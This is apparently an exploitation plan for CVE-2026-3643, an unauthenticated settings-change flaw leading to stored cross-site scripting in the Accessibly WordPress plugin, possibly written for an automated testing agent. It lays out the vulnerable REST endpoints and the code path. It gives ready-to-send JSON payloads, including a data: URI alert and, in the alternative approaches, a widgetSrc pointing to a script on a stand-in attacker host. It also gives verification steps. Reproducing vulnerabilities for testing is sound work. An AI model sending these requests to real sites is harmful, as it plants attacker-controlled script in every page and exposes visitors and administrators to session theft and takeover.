Exploitation Research Plan: CVE-2026-3643

1. Vulnerability Summary

The Accessibly plugin (versions <= 3.0.3) contains a critical authorization bypass and stored Cross-Site Scripting (XSS) vulnerability. The plugin registers REST API endpoints intended for administrative configuration but fails to implement any permission checks, setting the permission_callback to __return_true.

An unauthenticated attacker can send a JSON payload to these endpoints to modify plugin settings—specifically the widgetSrc option. Because the plugin does not sanitize this input before saving it to the database via update_option() and subsequently renders it as a script source on every frontend page via wp_enqueue_script(), an attacker can inject arbitrary JavaScript that executes in the context of every site visitor, including administrators.

2. Attack Vector Analysis

• Endpoint: /wp-json/otm-ac/v1/update-widget-options (or /wp-json/otm-ac/v1/update-app-config)
• HTTP Method: POST
• Authentication: None (Unauthenticated)
• Vulnerable Parameter: widgetSrc (provided within a JSON body)
• Preconditions: The plugin must be active. No specific settings are required to be toggled as the REST routes are registered on initialization.

3. Code Flow

1. Entry Point: The REST API route /otm-ac/v1/update-widget-options is registered with permission_callback set to __return_true (likely in a class handling REST registration).
2. Controller: The request is handled by AdminApi::updateWidgetOptions() (in AdminApi.php).
3. Data Processing: This function retrieves the JSON body from the WP_REST_Request object.
4. Storage Logic: It passes the data to AccessiblyOptions::updateAppConfig().
5. Persistence Sink: updateAppConfig() calls update_option(), saving the raw widgetSrc value into the WordPress options table.
6. Execution Source: On the frontend, AssetsManager::enqueueFrontendScripts() retrieves the stored widgetSrc option.
7. Execution Sink: The value is passed directly to wp_enqueue_script('accessibly-widget', $widgetSrc, ...), which generates a <script src="..."> tag on the page.

4. Nonce Acquisition Strategy

According to the vulnerability description, the REST API endpoints use __return_true for their permission_callback.

• Nonce Requirement: None.
• Justification: In WordPress REST API, if the permission_callback returns true, the default internal nonce check for _wpnonce in the header or X-WP-Nonce is bypassed for the purpose of authorization. While the REST API usually checks nonces for authenticated sessions to prevent CSRF, a route explicitly allowing unauthenticated access (via __return_true) will process requests without a valid nonce.

5. Exploitation Strategy

The goal is to inject a malicious script URL into the plugin configuration.

Step 1: Inject Malicious Script URL

Submit a POST request to the vulnerable REST endpoint. We will use a JS payload that triggers an alert to prove execution.

• URL: http://<target-ip>/wp-json/otm-ac/v1/update-widget-options
• Method: POST
• Headers: Content-Type: application/json
• Payload:

  {
      "widgetSrc": "data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')"
  }
  

  Note: Using a data: URI is a compact way to prove XSS without an external server. If the plugin validates the URL scheme (unlikely given the description), an external URL like https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js could be used as a placeholder.

Step 2: Trigger Execution

Navigate to the WordPress homepage. The plugin enqueues the script on every page load.

• Action: Perform a GET request to the site root.
• Verification: Check the HTML source for a <script> tag with the injected src.

6. Test Data Setup

1. Install Plugin: Ensure otm-accessibly version 3.0.3 is installed and active.
2. No Users Needed: Since this is an unauthenticated exploit, no specific user accounts need to be created.
3. Post/Page: No specific posts are required, as the script enqueues on the frontend globally.

7. Expected Results

• REST Response: The API should return a 200 OK or 201 Created status code, confirming the settings update.
• Frontend HTML: The homepage source should contain a script tag similar to:
  <script src="data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')" id="accessibly-widget-js"></script>
• JavaScript Execution: When viewed in a browser, an alert box with XSS_SUCCESS_CVE_2026_3643 should appear.

8. Verification Steps

After performing the HTTP exploit, use WP-CLI to confirm the state of the database:

1. Check Option Value:

   wp option get accessibly_app_config --format=json
   

   (Note: The option name accessibly_app_config is inferred from the class name AccessiblyOptions. If this fails, use wp option list --search="*accessibly*" to find the correct key).
2. Verify Content: Confirm the JSON object in the option contains "widgetSrc":"data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')".

9. Alternative Approaches

If the widgetSrc parameter is not processed via update-widget-options, attempt the other identified endpoint:

• Endpoint: /wp-json/otm-ac/v1/update-app-config
• Payload:

  {
      "widgetSrc": "https://attacker.com/malicious.js"
  }
  

• Wait for Admin: If the script only loads for logged-in users (contrary to the description), navigate to the /wp-admin/ area using browser_navigate to trigger execution in the administrative context.